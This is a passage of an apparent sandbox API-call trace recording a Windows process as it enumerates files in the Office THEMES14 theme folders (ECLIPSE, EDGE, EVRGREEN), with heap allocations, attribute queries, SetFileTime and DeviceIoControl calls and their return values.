Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0058.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0058.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f8998 [0058.180] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0058.180] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.180] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0058.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f8aa0 [0058.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0058.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2ab0 [0058.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f8ba8 [0058.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.180] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0058.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2ad0 [0058.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f8cb0 [0058.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.181] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2af0 [0058.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f8db8 [0058.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.181] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2b10 [0058.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f8ec0 [0058.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.181] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.181] GetLastError () returned 0x12 [0058.181] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0058.181] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0058.182] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.182] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0058.182] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0058.182] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.182] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.182] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.182] GetLastError () returned 0x12 [0058.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f8998) returned 1 [0058.182] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0058.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f8aa0) returned 1 [0058.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0058.182] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0058.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.182] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0058.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0058.203] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0058.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9fabe0 [0058.203] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9fabe0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9fabe0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0058.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fabe0) returned 1 [0058.203] NtClose (Handle=0x160) returned 0x0 [0058.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0058.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0058.204] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0058.204] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.204] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0058.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0058.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0058.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2b30 [0058.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f8aa0 [0058.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.204] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0058.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2b50 [0058.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f8998 [0058.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.204] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2b70 [0058.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f8fc8 [0058.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.205] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2b90 [0058.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f90d0 [0058.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.205] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.205] GetLastError () returned 0x12 [0058.205] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0058.205] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0058.205] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.205] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0058.205] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0058.206] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.206] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.206] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.206] GetLastError () returned 0x12 [0058.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0058.206] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0058.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0058.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.206] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0058.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0058.206] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, 